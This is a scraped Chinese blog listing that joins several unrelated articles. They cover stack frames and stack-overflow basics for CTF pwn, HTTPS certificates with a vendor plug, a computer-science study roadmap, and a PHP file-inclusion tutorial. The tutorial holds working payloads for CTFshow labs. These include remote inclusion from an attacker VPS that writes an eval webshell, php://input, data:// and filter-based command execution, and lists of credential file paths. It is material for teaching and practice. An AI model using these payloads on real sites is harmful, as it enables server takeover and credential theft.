ebp,esp这样通过当前EBP和偏移量就能访问传入的参数和原来的ebp(返回地址)显式的堆栈参数堆栈参数的引用表达式形如[esp+8],称它们为显式的堆栈参数清除堆栈子程序返回时,必须将参数从堆栈中删除否则会导致内存泄露,堆栈会被破坏C调用方式-cdecl用于C和C++语言子程序的参数按逆序入栈解决了运行时堆栈的问题在调用子过程后,紧跟一条语句让堆栈指针ESP加上一个数,该数的值即为子程序参数所占的堆栈空间main PROC push 6 push 5 call AddTwo add esp,8 ret main ENDP能将参数从堆栈中删除STDCALL调用规范给RET指令添加了一个参数,使程序在返回调用过程的时候,ESP会加上这个参数这个添加的整数和过程参数占用的堆栈空间字节数相等AddTwo PROC push ebp mov ebp,esp mov eax,[ebp+12] add eax,[ebp+8] pop ebp ret 8 AddTwo ENDP局部变量在子过程中创建的变量局部变量在ebp下void Mysub() { int X=10; int Y=20; }每个变量的存储大小都要向上取整保存为4的倍数两个局部变量一共保留8个字节MySub PROC push ebp mov ebp,esp sub esp,8 mov DWORD PTR [ebp-4],10 mov DWORD PTR [ebp-8],20 mov esp,ebp pop ebp ret MySub ENDP从堆栈中删除局部变量,只需要执行:mov esp,ebpesp向上移动=内存释放可以给局部变量的偏移量定义一个符号,在代码中使用这些符号X_local EQU DWORD PTR [ebp-4] Y_local EQU DWORD PTR [ebp-8] MySub PROC push ebp mov ebp,esp sub esp,8 mov X_local,10 mov Y_local ,20 mov esp,ebp pop ebp ret MySub ENDP保存和恢复寄存器子程序在修改寄存器之前将它们的当前值保存到堆栈通常在ebp入栈,设置ebp等于esp之后,相关寄存器入栈 栈帧 栈解释说明传递的参数[EBP+8] 返回地址 [EBP+4](原来栈帧的EBP)EBP 当前栈帧的EBP ECXEDX当前ESP指向的位置EBP被初始化之后,整个过程中它的值将保持不变ECX,EDX入栈并不影响EBP按照原来的偏移量访问传递的参数引用参数引用参数通常是基址-偏移量寻址方式进行访问每个引用参数都是一个指针.data count=100 array WORD count DUP(?) .code push OFFSET array push count call ArrayFillArrayFill PROC push ebp mov ebp,esp数组偏移量数组长度 返回地址 EBP下面我们来进入与Pwn的正文编辑StackOverflowStackOverflow是一种常见的Pwn的手段同时与有与之同名的网站StackOverflow是全球最大的编程问答社区编辑C语言函数调用栈复习和补充一下函数调用栈的内容 函数调用栈是值程序运行时内存一段连续的区域 用来保存函数运行时的状态信息 称之为“栈”是因为发生函数调用的时候,调用函数的状态被保存在栈内 在函数调用结束之后,栈顶的函数状态被弹出,栈顶恢复到调用函数的状态 函数调用栈在内存中从高地址向低地址扩展 栈帧结构previous stack frame pointerargumentsreturn addressstack frame pointercallee saved registerslocal variablearguments会倒序压入栈StackOverflow原理我们要控制程序执行流就要控制EIP,RIP这种PC寄存器只要EIP寄存器能写入我们想要的值,整个程序执行流就会被我们劫持能传给EIP值的位置只有return address这里缓存区溢出本质是向定长的缓存区中写入了超长的数据,造成超出的数据覆写了合法内存区域栈溢出 最常见,漏洞比例最高,危害最大的二进制漏洞 在CTF PWN中往往是漏洞利用的基础 堆溢出 现实中的漏洞占比不高 堆管理器复杂,利用花样繁多 CTF PWN中的常见题型 BSS溢出 现实中与CTF比赛中占比都不高 攻击效果依赖于BSS上存放了何种控制数据 什么样的代码会发生缓存区溢出#include<stdio.h> int main(){ char str[8]; read(0,str,24); return 0; }上述代码企图在8个元素的数组中输入24个数据编辑编译执行结果如上图,我们在运行的时候输入了超过8个字符在一些Linux中这种缓存区溢出会导致程序崩溃如果要是输入一些精心构造的数据,就能实现劫持我们输入的数据位置和存储原函数EBP的位置是相邻的我们可以利用StackOverflow修改存储原函数的EBP的值这样函数返回的时候,原函数的EBP被我们修改了,我们就修改了PC,劫持了这个程序执行流程一个合格的程序员是要有一定的安全意识,注意程序存在的安全问题PWN必备的工具 IDA pro pwntools pwndbg checksec ROPgadget one_gadget IDA pro这是一款逆向工程的强大工具,由于hexray公司生产,官网版本是需要付费的,hexray公司需要用这款工具来开工资IDA pro可以反汇编一个可执行文件,也可以进一步反编译成C语言,可以逆向分析一个可执行文件的运行机制具体使用请参考我的另一篇专门介绍IDA的博客,这里不做赘述,点击下方链接进入IDA基本使用pwngdb是gdb的一个插件gdb是用来调试C语言文件来设计的但是我们在pwn的时候会调试二进制文件,或者说是汇编语言代码这时就需要pwngdbchecksec用来查看文件的保护措施一般是做pwn题的第一步检查一下安全保护措施了解之后再进行Attack使用方法旧版本 checksec 文件名新版本 checksec --file=文件名编辑以新版本为例,上图列出来文件的一些保护机制 安装过程依次在终端输入三个命令git clone https://github.com/slimm609/checksec.sh.git cd checksec.sh sudo ln -s checksec /usr/local/bin/checksecROPgadget查找程序中用来ROP的代码片段one_gadget很强大的一个工具,找到一些获取shell的代码片段,然后整合在一起未完待续编辑
文章
存储  ·  缓存  ·  安全  ·  NoSQL  ·  Linux  ·  Shell  ·  程序员  ·  开发工具  ·  C语言  ·  C++
2023-03-01
如何使用HTTPS加密保护网站?
加密 Web 内容并不是什么新鲜事:自发布通过SSL/TLS协议来加密 Web 内容的规范以来,已经过去了近 20 年。然而,近年来,运行安全的HTTPS加密 Web 服务器已经从一种选择变成了一种安全防护的必需品。 攻击者继续寻找并找到窃取用户和Web服务之间发送的信息的方法,通常是通过利用通过超文本传输协议发送的未加密内容。即使对于普通的、非目标的 Web 内容,使用加密保护网站也至关重要,因为主流浏览器现在将未加密的网站标记为“不安全”。 虽然HTTPS网站加密是确保浏览器和服务器之间数据完整性的要求,但它也越来越成为新浏览器功能的先决条件。学习如何通过启用HTTPS来加密网站是强制性的,特别是对于希望为用户提供安全可靠的Web体验的企业。什么是HTTPS加密?HTTP 在客户端和服务器之间以纯文本形式传输数据。因此,任何有权访问您和服务器之间的任何网段的人 - 在您的网络上,在服务器的网络上或介于两者之间的任何地方 - 都可以查看您的网上冲浪的内容。 使用 HTTPS 保护与金融交易、个人身份信息或任何其他敏感数据相关的数据,并避免浏览器将您的网站标记为不安全。HTTPS 通过传输层安全性(TLS)协议运行 HTTP 来实现网站加密。尽管SSL协议在20年前被TLS取代,但这些证书仍然通常被称为SSL证书。 以下是其工作原理的简化视图:(1) 启动 Web 浏览器并使用 URL 上的 https:// 前缀请求安全页面。(2) 您的 Web 浏览器通过 HTTPS 端口(TCP 端口 443)联系 Web 服务器,并请求安全连接。(3)服务器使用其 SSL 证书的副本进行响应。(4)Web 浏览器使用该证书来验证远程服务器的身份并提取远程服务器的公钥。(5)您的 Web 浏览器创建一个会话密钥,使用服务器的公钥对其进行加密,然后将加密的密钥发送到服务器。(6)服务器使用其私钥解密会话密钥。(7)客户端和服务器使用会话密钥加密所有进一步的通信。虽然 HTTPS 会话可以可靠地被认为是安全的,不会受到窃听攻击,但 HTTPS 本身并不能抵御任何其他类型的攻击。站点管理员仍必须在预防和缓解跨站点脚本、注入和许多其他针对应用程序或其他网站漏洞的攻击方面发挥积极作用。 如何使用HTTPS加密网站从字面上看,加密网站的密钥放在 Web 服务器中。要使 Web 服务器能够加密其发送的所有内容,必须安装公钥证书。 安装 SSL 证书并使 Web 服务器能够将其用于 HTTPS 加密的方法,因所使用的 Web 服务器软件而异。但是,在几乎所有情况下,该过程大致包括以下步骤:(1) 确定需要加密的所有 Web 服务器和服务。服务器可能托管在云中、本地或互联网服务提供商或其他服务提供商处。单个SSL证书可以在多台服务器上使用,但这样做可能会有风险:如果SSL证书在一台服务器上遭到破坏,攻击者将能够在使用它在任何其他服务器上利用该证书。最佳做法是为每个服务器或服务申请单独的SSL证书。(2)Web 服务器申请SSL证书。SSL证书应从权威CA机构申请购买,沃通CA是工信部许可的权威CA机构,可以为用户提供全球信任的SSL证书及国密算法SSL证书,普通用户直接咨询沃通申请证书。沃通SSL证书已上线阿里云等云平台,云托管用户也可以在阿里云等平台上直接申请沃通wotrus 品牌SSL证书、wosign 品牌SSL证书,支持一键部署HTTPS至云产品中。(3) 将 Web 服务器配置为使用 HTTPS,而不是 HTTP。Web 服务器配置过程包括安装 SSL 证书、启用对 HTTPS加密的支持以及配置 HTTPS加密选项。配置过程将根据服务器是托管在云中还是本地以及正在使用的 Web 服务器软件而有所不同,沃通提供一对一技术支持,为沃通SSL证书用户提供专业的技术指导。(4) 配置管理证书。对加密网站的持续管理和质量控制至关重要。沃通与知名机构合作提供SSL健康检测工具,定期测试证书部署情况、有效响应情况、证书生命周期等。确保SSL证书正确有效地保护数据传输安全。安装SSL证书并为用户提供与您的 Web 服务器建立 HTTPS 连接的能力,是您在通过 Web 进行交易时为网站增加安全性并建立用户信心的最简单方法之一。它消除了来自Web浏览器的“站点不安全”消息,并确保通信不会在互联网上被窃听。
文章
安全  ·  网络协议  ·  算法  ·  网络安全  ·  数据安全/隐私保护
2023-03-06
一个供参考的计算机的学习路线
 本文是介绍如何成为一个Geek,一个真正的计算机高手。适合开始入门并想成为IT领域技术大牛的人参考。写给大一新生和所有向深耕IT领域的人,避免走一些弯路。仅代表个人想法,供批判性参考。第一门入门的必备功课-语法与算法我认为这一部分的内容适合大一新生去做什么是计算机?用来做运算的机器电子计算机在运算方面和廉价的计算器原理并没有区别。什么是冯诺依曼架构?冯诺依曼结构也称普林斯顿结构,是一种将程序指令存储器和数据存储器合并在一起的存储器结构。核心的内容只有两点:存储和运算我们可以将输入的数据进行运算,还能将运算结果进行存储。而且能利用存储的数据进行判断,按照判断的结果实现程序流程的改变,就是循环和判断。按照这样一个架构,我们就可以编写程序了,可以将很多运算和跳转的指令存储在计算机中(存储代码的这一段内存称为代码段),在运算过程中用产生的结果改变内存中的数据。执行到判断跳转的指令时,根据内存中的数据修改PC寄存器的值(这个值是一个地址,这个寄存器始终将要运行的指令的地址),来修改程序执行流程。这样我们就实现了判断的逻辑和循环的逻辑,这两种逻辑可以将人类逻辑转换成程序执行流。为什么要从一门高级语言-C语言学起,而不是计算机的底层?上一个问题中描述的是运算,跳转两种指令指的是汇编语言的主要指令。这种操作是很细节的,直接操作寄存器,CPU和内存。我们在学习计算机入门需要培养的是什么,是逻辑。如果太关注硬件细节,对新手太不友好,当我们通过高级语言来训练好逻辑之后,再去学汇编语言,就已经具备了逻辑能力,学起来才会容易,这是一个循序渐进的过程。为什么要选C语言而不是别的高级语言来入门,这是因为C的灵活是其他编程语言无法比拟的。设计一个编程语言其实是融入了设计者的哲学思考,C语言的基础语法很简单,但是真正的设计是博大精深的,所以在这里很难完整地阐述为什么选择C语言的原因。这就是为什么计算机应该从C语言开始学起的原因。如何学C语言?这时你可能会去找一本C语言的书来读你可能会看到这本,觉得C语言太复杂了,书这么厚。实际上对于新手来说,只需要掌握最基本的语法,这本书过于严谨和全面。这本书最后还添加了一些简单的算法,导致篇幅增加,但是很少有人会认为一本语法书适合学习算法。你可以选择一本轻薄的教材,或者在线学习资源也足够,用一下午快速掌握一下基础语法,运算,循环,判断,函数,指针和数组。刚开始学习C语言的同学可能有一个误区,会去卷各种库函数的记忆。这是没有用的,一个熟练的程序员在使用库函数时也是会选择查找,别人写的接口你需要查找使用即可,常用的自然会记住。不要在这里浪费你学习你接下来学习核心内容的时间。有这些内容,你就可以去做任何事了。什么是算法?你接触过什么算法,欧几里得算法,秦九韶算法...他们就是一套计算的方法,可以解决某个特定的问题,步骤比较机械,特别适合计算机来执行。在计算机的世界中,除非你是过于底层的设计,嵌入式开发,芯片设计,别的所有领域里这里提到的算法都是核心。我们编写一个程序一般是为了解决一个问题,过程中用到一套算法。统计数据库中学生的数量需要一套算法。张一鸣正是发明了一套推送算法,创立了字节。图灵奖得主中因为在算法领域取得突出贡献而得奖的占多数。一个思想上有深度的算法的诞生,标志着一类人类社会中的问题可以用计算机来实现了。如何学习算法?算法是核心,而且软件领域只有两种事情,别人的代码,我们要读懂,还有自己要写的代码,要有编码能力。当你学了算法后对编程逻辑就有了驾驭能力。我建议从oi算法入手,参加一些蓝桥杯,CSP认证之类的比赛。能力强,有机会的可以去参加ACM。如果你能力一般,那就是以赛代练,训练能力。如果你能力强,可以去当赛棍。CSP也是很有价值的,但是很多学术机构对CSP都有要求,清华原则上不录取CSP低于300的。当然算法竞赛和实际问题区别是很大的,你不能短时间用算法编写程序不代表你比竞赛选手在计算机实际应用中的能力就差。参加比赛可以训练一定的编码能力。大一的计算机新生适合做一些算法竞赛具备这个必备能力。这里可以简单介绍一下常见的算法竞赛。蓝桥杯这是一个工业信息化部门承办的算法竞赛,是一个普及性的比赛,希望大量计算机专业学生参加,而不是专门的算法竞赛选手。报名费有点小贵,300。但是很多弱省,省奖是很好拿的。一般拿到省奖会有单项奖学金或者学校报销报名费。虽然是一个普及性的比赛,但是题目质量开始越来越高,值得每个想学技术的人去参加一下。ACM这是门槛较高的国际编程竞赛。想要参加一般需要加入你们学校的校队。比赛一个队伍3个人,每个学校只有几个队伍有线下赛的资格。大一零基础的一般是有希望参加的,还有大二猛肝从零基础到夺金的情况。ACM含金量就比较高,如果你夺得区域赛银牌以上,很多大厂会有免除笔试,面试的绿色通道。当然这个比赛也有不同的声音,有大牛认为算法竞赛和实际问题区别很大,没有必要在ACM这个比赛上面浪费精力,学到技术是最重要的。CSP认证这是一个中国计算机协会举办的软件能力认证,题面趋向于越来越长。很多学术机构对这个认证是有要求的,清华考研CSP低于300分的原则上不录取。CSP的高分是简历上很好看的一笔。我建议学习资源可以选择acwing网站和《算法竞赛进阶指南》如果上面这些两种学习资源对与你来说还是比较困难的,可以阅读一下《啊哈算法》。啊哈算法是很详细很直观地讲解算法,配有有趣的插图,为了所有人都能看懂。建议上述资源结合起来使用。我们没必要一上手就是数据结构,看着冗长的代码,用算法竞赛的写法培养一下能力最重要。你可以打一些在线的比赛,牛客网周赛,acwing周赛,还有比较著名的codeforces网站。当你有了对基础算法的掌控能力后,要仔细学习数据结构。了解IT的各个领域当你可以驾驭一门编程语言之后,你就可以几个小时内学习一门高级语言。Java,Python,Go,Rust有能力的话都可以速成一下,只需要看最基础的语法就可以上手了。要在实践中学习。要有查阅技术社区博客和官方文档的能力。IT领域中别人开放过的项目的代码你是不可能全部读完的,要想去认识,只有培养去理解的能力和查阅资料的能力,按照需求出发去选择性学。可以学一下别的编程语言和数据库,相信你这时学习这些内容并不需要多长时间。这样你已经提升了认知,打开了计算机的潘多拉魔盒。你可以了解任何一个方向,选择你所喜欢的方向进行深耕,网络安全,云计算,后端开发,前端开发,游戏开发,人工智能。你有自学看懂这些书籍的能力,因为你有了编码能力。因为计算机很多领域都有相通的特性,都是代码实现的,所以一窍通,百窍通。所以你一开始没必要深入学习各个方向,可以几个月时间你就能在各个方向都玩一玩,了解自己喜欢什么,想做什么,扩展自己的认知。如果你想在极短的时间内了解计算机的各个方向,可以看一下计算机科学速成课。只有40节课,一节课10分钟,但是从很好的角度高屋建瓴地阐述了计算机的大部分主流领域。学好核心内容计算机核心课程考研所考的内容是数据结构与算法,操作系统,计算机组成原理,计算机网络,这几门是计算机的核心。为了考研和学术的需求,认真学习概念也是有必要的。至于编程语言和数据库等知识,实操永远是第一位的。就像没有每天看游戏角色数据而不去玩的电竞选手。核心的是编码能力和认知,这些学科概念没任何用处,会实操即掌握。因为计算机世界中一部分是别人写的代码,一部分是自己写的。自己写需要逻辑能力,而这些学科是别人写的代码,给了你一个接口,你可以用你的编码能力来认识,来使用。但是发明者起的名词只需要灵活掌握。千万不要把是时间浪费在机械记忆上。我们知道清华姚班的姚期智教授,删除了老化课程,加强了核心学习,引导学生在本科阶段培养自己的专长。核心课程回到核心课程中,这些核心课程相对有必要按照科班教科书式地学习。而且也是考研所需要的内容,所以我们也不得不系统学习概念来获得一定的应试能力。操作系统程序员必须对操作系统掌握好,操作系统就是一个大程序,一般书会从抽象层次来开始讲述,什么是抽象,就是不给你具体代码,来讲述想要写的程序的逻辑。这个过程需要慢慢来理解。程序使用的操作系统和服务器使用的操作系统是Linux,我们必须熟练掌握Linux的命令。这里推荐MIT的CS计算机操作环境导论,学会Linux的命令才能进行开发。学Linux系统的操作和学习操作系统理论知识不存在先后关系,根据需求来学。学好操作系统基础知识之后去看Linux的内核源代码,从具象层次将操作系统理解透彻,才能成为大牛。推荐《深入理解LINUX内核》。计算机组成原理可能是考研专业课中的瓶颈,涉及硬件层次的计算机架构,操作系统处于硬件和应用程序之间。要想学好计算机组成原理,可以学一点数字电路,如果不做硬件开发的话,数字电路理解即可,简单涉略,没必要进行设计。也要学习一定汇编语言,这对于操作系统和计算机组成原理都是很有必要的。当然直接拿计算机组成原理和操作系统的书来学也是可以的,但是这样可能就需要就好的抽象理解能力了。编译原理编译原理是相对比较难的一门学科,虽然不在408的范畴,但是也是技术人员必备的知识。计算机网络网络的基础知识是比较简单的。理解网楼哦层次架构,记忆协议就可以。计算机与基础自然科学的关系物理学其实目前技术应用上并没有关系,我们最底层研究到数字电路,但是数字电路是逻辑门的设计,用不到电压和电流等电学知识,哪怕你是嵌入式开发者,芯片设计者,也是不需要电学的。跟别说力学,相对论和量子力学了。物理对于计算机毫无意义吗,也不是,摩尔定律失效是因为芯片设计碰到了量子力学,时代是向前发展的,基础自然科学对于你认知的提升有帮助。可能有些人也有计算机与物理结合方面的志向,但是物理学与目前真正的计算机核心毫无关系,根据自己需要完全可以不学。计算机早已从电子学科中分离。生物,化学与计算机的联系是更小。数学如果你的目标只是进厂,那么也许对于你来说更重要是业务能力,后端开发,前端开发,游戏开发,是最基础的工作都是具备编码能力,工作经验就可以胜任的。这时候很多普通码农就提出了数学无用论。但是你要想自己设计一套算法,研究密码学,人工智能,做一个真正的高级人才,而不是码农,数学的要求是相当高的。最核心的是线性代数,概率论,离散数学。当然你需要的不是应试能力,是真正的数学能力。我们常说计算机行业饱和了,其实不然,现在的世界是不缺少码农的,码农是可以社会培训几个月速成的,但是高级人才在我国都是缺口。BAT都没有实力养一套自己的加密算法。中国的第三代黑客也是处于断档,网络安全人员急缺。数学课程推荐MIT-线性代数离散数学僧多粥少,很多人忙于过度无意义内卷来试图通过分数更高来获得竞争力。其实也可以换一个思路,重剑无锋,在绝对的实力面前一切技巧都是徒劳,艰难之业当累日月。你可以选择一个自己愿意沉下心来钻研的方向进行深耕,会学到真正的技术,随大流是必不讨好的。计算机科学丛书(黑皮书)所谓计算机黑皮书,指的机械工业出版社引进的计算机科学丛书,其封面都是黑色的大理石纹理式样,体现了直男审美计算机工业的品位和格调:冷峻而不失高雅。这些黑皮书都是从国外引进的,很多都是国外的教材,作者都是业界顶尖的大牛。本科除了保证一定的代码量,还应该读一些黑皮书进行积累。大学时间也很长,制定计划,日积月累,总会读完。深入理解计算机系统(CSAPP)这是被誉为等量黄金的黑皮书,每个计算机学生有必要读完。是黑书中最有必要读的书之一。书的前言说的也很清楚,读完这本书的时候,你已经成为了为数不多的大牛。这本书从程序员的视角出发,详细介绍底层知识,涉及计算机组成原理和操作系统的知识。现代操作系统是操作系统的最经典的书籍,作为如此核心的学科,这本书也很有价值。可以作为学习操作系统的第一本书。算法导论算法导论对经典的算法进行了原理层面的剖析,虽然是一本巨作,但是可能不适合计算机新手阅读,入门计算机只需要熟练传统的算法和数据结构。人的精力有限,这样一本巨作不适合过早地读。很多ACM高手也不会去研究这本书。但是对于想钻研算法的原理的同学,这本书是很适合的。汇编语言:基于x86处理器本书是个人感觉比较好啃的黑书,几天就可以看完。汇编语言的学习对于理解编译原理,操作系统和计算机组成原理的学习都很有必要。否则很多概念会有些抽象。其他黑书可以根据自己的需求去选择计算机别的竞赛除了算法竞赛之外,计算机还有很多别的竞赛。ACM有年龄限制,往往很多人因为考研工作等原因会在大三后退役。计算机还有别的竞赛。喜欢的话可以参加。CTF这是网络安全的招牌。起源于黑客大会。称为夺旗赛(Capture the flag)。分为Web,Pwn,Reverse,Misc,Crypto等方向有解题模式和攻防模式。Web进行Web渗透测试,扫描漏洞,进行入侵,进入靶机,取出靶机中的flagPwn利用二进制漏洞,进行StackOverflow等攻击手段进行攻击,取得shell,取得shell之后就可以随心所欲处理靶机中的任何文件,取出flagReverse对一个可执行文件进行分析,取出其中的flag。比如我们熟悉的exe文件,exe文件和dll文件属于PE文件,是Windows系统中的可执行文件。题解模式会给一个执行文件,但是不给出代码,可以用逆向分析工具获取反汇编和反编译的代码。进行调试分析,取出flag,在现实生活中的引用有软件破解,恶意代码分析。MiscCTF中的杂项,涉及图片隐写,音频隐写等内容。隐写就是在一个文件隐藏数据,但是不影响原来文件的功能,比如,可以在一个图片文件中藏一个压缩包,但是图片文件看起来还是那个图片文件。比赛中我们要将隐藏的数据获取。学习CTF的条件只要有一定的编码能力就可以参加,最好对于别的核心学科有一定认知。但是不需要系统学习。CTF入门过程是在实操中补充知识点来学的。真正的CTF没有套路,需要查阅官方文档,自己学习。区块链比赛区块链是比较新的一个方向,也是资本喜欢的一个话题。与之有关的比赛也很多,奖金池也比较丰厚。别的比赛在这里不一一列举了。如果你把每一天当成最后一天来活的话,你就会轻松自在。        ——Steve jobs
文章
存储  ·  算法  ·  Linux  ·  程序员  ·  网络安全  ·  数据库  ·  C语言  ·  芯片  ·  Go  ·  安全
2023-03-05
通用漏洞之文件包含漏洞
通用漏洞之文件包含漏洞碎碎念安全,从去年的2月开始真正去了解安全,到4月的HW,然后参加各种大小型CTF,再参加网安基地的培训,最后在去年的11月收到了自己的第一份offer(渗透测试工程师),接各种项目,算一算已经入行一年有余了,入行的前两月激情满怀,热情四溢,从早学到晚,真的不知疲倦,但后面越来越浮躁,一直无法沉下心来,总感觉技术没有很大的提升,疫情原因出差,导致我的行程码带星星了(呜呜呜),进不去公司和客户现场,无业游民一个星期(等星星消失),正好静下心梳理这一年多来的学习经历,以及填一些没有时间填的坑。文件包含漏洞先来波思维导图(图是小迪的,借来用用哈,我懒得搞了)文件包含函数(代码审计)这里以php为例,在php中常用的文件包含函数有(include、require、include_once、require_once)Include:被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告。Require:require 和 include几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include只产生警告(E_WARNING),脚本会继续运行。Include_once:include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true。 如同此语句名字暗示的那样,该文件只会包含一次。 include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。Require_once:require_once 语句和 require语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。区别:include函数在执行文件时候每次都要进行读取和评估,在找不到文件的情况下会发出一条警告,且还会继续运行,require则会给出一条致命错误,从而停止运行,include_once和require_once和include和require类似,他们仅仅只包含一次。php开启错误题型需要配置php.ini中disaply_errors On代码审计的时候全局搜索以上函数如果是基于图像上传的 ,要搜$_FILES 变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。文件包含漏洞原理文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发大哥经常会把一些代码插入到指定的地方,从而节省时间避免再次编写 ,这就是包含函数的基础解释,但是方便的同时,如果我们没有对文件的来源进行严格的审查,不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,也就是开发者在编写代码的时候触犯的逻辑性的错误就可能会导致**文件读取漏洞和其它类型的漏洞。文件包含分类—本地LFI&远程RFI文件包含漏洞共分为两大类,本地文件包含和远程文件包含远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件本地包含LFI&远程包含RFI-区别一个只能包含本地,一个可以远程加载具体形成原因由代码和环境配置文件决定本地文件包含漏洞无限制本地文件包含漏洞读取敏感文件通过目录遍历漏洞可以获取到系统中其他文件的内容?a=/etc/passwd常见的敏感信息路径:Windows系统c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息Linux/Unix系统/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件利用封装协议读源码?a=php://filter/read=convert.base64-encode/resource=config.php包含图片Getshell在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码session文件包含漏洞(本地文件包含getshell方式)前提条件session的存储位置可以获取session中的内容可以被控制,传入恶意代码其中session位置的获取有两种方式通过phpinfo的信息可以获取到session的存储位置也可以通过猜测,因为就那几个固定的存储位置,例如:/var/lib/php5/sessions、/var/lib/php7/sessions、/var/lib/php/sessions漏洞分析直接上源码吧<?php session_start(); $ctfs=$_GET['a']; $_SESSION["username"]=$a; ?>此php会将获取到的GET型ctfs变量的值存入到session中。当访问http://xxxxx/session.php?a=a后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess_+sessionid,sessionid可以通过F12获取。(F12查看我们的cookie,cookie中有个PHPSESSID的名称,其中它的值就是我们sessionid的值)我们在通过这个脚本,向seesion写入恶意的数据漏洞利用通过上面的分析,可以知道a传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过a写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。有限制本地文件包含漏洞绕过%00截断条件:magic_quotes_gpc = Off php版本<5.3.4如果为on,%00会被转义,以至于无法截断。路径长度截断条件:windows,点号需要长于256;linux 长于4096Windows下目录最大长度为256字节,超出的部分会被丢弃Linux下目录最大长度为4096字节,超出的部分会被丢弃点号截断条件:windows,点号需要长于256远程文件包含漏洞PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。#是否允许打开远程文件 allow_url_fopen = On #是否允许include/require远程文件 allow_url_include = On无限制远程文件包含漏洞通过远程文件包含漏洞,包含shell.txt可以解析<?php $filename = $_GET['filename']; include($filename); ?>?a=http://攻击者的VPS/shell.txt #会在网站目录生成名为 shell.php 的一句话木马shell.txt内容为:<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[aaa]) ?>'); ?>有限制远程文件包含漏洞绕过例如html<?php include($_GET['filename'] . ".html"); ?>代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀可以通过 ?# 空格 绕过,也可以直接burp爆破尝试支持的绕过符号。文件包含伪协议利用PHP 带有很多内置 URL 风格的封装协议,而这些协议则是我们处理文件包含漏洞经常用到的方法可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。各类脚本语言包含伪协议玩法参考https://www.cnblogs.com/endust/p/11804767.html实战练习—CTFshowCTFSHOW-78关卡到117关卡78-php&http协议payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php payload: ?file=php://input post:<?php system('tac flag.php');?> payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>79-data&http协议payload: ?file=data://text/plain,<?=system('tac flag.*');?> payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg== payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?> 80 81-日志包含1、利用其他协议,如file,zlib等 2、利用日志记录UA特性包含执行 分析需文件名及带有php关键字放弃 故利用日志记录UA信息,UA带入代码 包含:/var/log/nginx/access.log82-86-SESSION包含https://www.cnblogs.com/lnterpreter/p/14086164.html https://www.cnblogs.com/echoDetected/p/13976405.html87-php://filter/write&加密编码1、利用base64: url编码2次:php://filter/write=convert.base64-decode/resource=123.php content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg== 2、利用凯撒13: url编码2次:php://filter/write=string.rot13/resource=2.php content=<?cuc riny($_CBFG[1]);?>88-data&base64协议过滤PHP,各种符号,php代码编码写出无符号base64值实战中黑百盒挖掘黑盒发现主要观察参数传递的数据和文件名是否对应白盒发现可通过应用功能追踪代码定位审计可通过脚本特定函数搜索定位审计可通过伪协议玩法绕过相关修复等总结一下有可控文件如能上传文件,配合上传后包含无可控文件可以利用日志或Session&伪协议代码固定目录及文件后缀时需考虑版本绕过伪协议玩法是建立在代码中只有变量存在时本文参考https://www.freebuf.com/articles/web/277756.htmlhttps://www.freebuf.com/articles/web/182280.htmlhttps://wiki.wgpsec.org/knowledge/web/fileincludes.html
文章
存储  ·  安全  ·  Unix  ·  Linux  ·  网络安全  ·  PHP  ·  数据安全/隐私保护  ·  开发者  ·  Windows
2023-02-13
eBPF 双子座:天使 or 恶魔?| 龙蜥技术
